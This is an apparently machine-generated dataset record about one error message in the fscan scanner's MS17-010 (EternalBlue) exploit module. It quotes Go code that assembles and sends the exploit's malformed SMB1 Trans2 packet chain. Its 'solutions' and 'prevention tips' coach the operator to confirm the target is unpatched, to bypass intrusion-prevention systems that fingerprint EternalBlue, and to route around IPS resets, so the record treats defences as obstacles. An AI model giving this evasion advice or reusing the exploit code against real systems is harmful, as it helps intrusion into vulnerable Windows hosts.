{"record":{"id":"205ed6f1c235f67b","repo":"shadow1ng/fscan","slug":"failed-to-send-large-buffer-s","errorCode":null,"errorMessage":"failed to send large buffer: %s","messagePattern":"failed to send large buffer: (.+?)","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010_exp.go","lineNumber":517,"sourceCode":"\ttransHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send nt trans: %s\", err)\n\t}\n\t// initial trans2 request\n\ttreeID := transHeader.TreeID\n\tuserID := transHeader.UserID\n\ttrans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, \"zero\")\n\t// send all but the last packet\n\tfor i := 1; i < 15; i++ {\n\t\tpacket := makeSMB1Trans2ExploitPacket(treeID, userID, i, \"buffer\")\n\t\ttrans2Packet = append(trans2Packet, packet...)\n\t}\n\tsmb1EchoPacket := makeSMB1EchoPacket(treeID, userID)\n\ttrans2Packet = append(trans2Packet, smb1EchoPacket...)\n\n\t_, err = conn.Write(trans2Packet)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to send large buffer: %s\", err)\n\t}\n\t_, _, err = smb1GetResponse(conn)\n\treturn err\n}\n\nfunc sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {\n\tbuf := bytes.Buffer{}\n\n\t// --------NetBIOS Session Service--------\n\n\t// message type\n\tbuf.WriteByte(0x00)\n\t// length\n\tbuf.Write([]byte{0x00, 0x04, 0x38})\n\n\t// --------Server Message Block Protocol--------\n\n\t// SMB1","sourceCodeStart":499,"sourceCodeEnd":535,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010_exp.go#L499-L535","documentation":"smb1LargeBuffer appends trans2 exploit packets plus an echo packet and writes them all to the connection. If that large combined write fails, it returns 'failed to send large buffer'. The subsequent smb1GetResponse error is returned unwrapped.","triggerScenarios":"exploit → smb1LargeBuffer → conn.Write(trans2Packet) fails: target reset the connection after the NT Trans stage, packet exceeded an MTU/proxy limit, or the socket was closed by the peer.","commonSituations":"Patched targets terminating the session when they see the malformed Trans2 chain; VPN/MTU fragmentation issues dropping oversized packets; IDS resets.","solutions":["Confirm the target is unpatched (MS17-010 scan) — patched hosts reset on the Trans2 chain","Check MTU/fragmentation settings on the path to the target","Disable or bypass IPS that fingerprints EternalBlue packets","Retry; transient network faults can abort the write"],"exampleFix":null,"handlingStrategy":"retry","validationCode":"// check path MTU so the large trans2 packet is not dropped\nif _, err := conn.Write(header); err != nil {\n    return fmt.Errorf(\"connection unusable before large buffer stage: %w\", err)\n}","typeGuard":null,"tryCatchPattern":"if err := smb1LargeBuffer(conn, header); err != nil {\n    var oe *net.OpError\n    if errors.As(err, &oe) && oe.Op == \"write\" {\n        // treat as connection-loss: reconnect and restart the chain\n    }\n    return err\n}","preventionTips":["Ensure MTU along the path can carry the oversized trans2 packet","Disable fragmentation-blocking middleboxes for the test","Abort and reconnect on the first write error rather than reusing a dead socket","Run from a network path without IPS resets"],"tags":["network","smb","go","exploit"],"backgroundTag":"broken-pipe","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}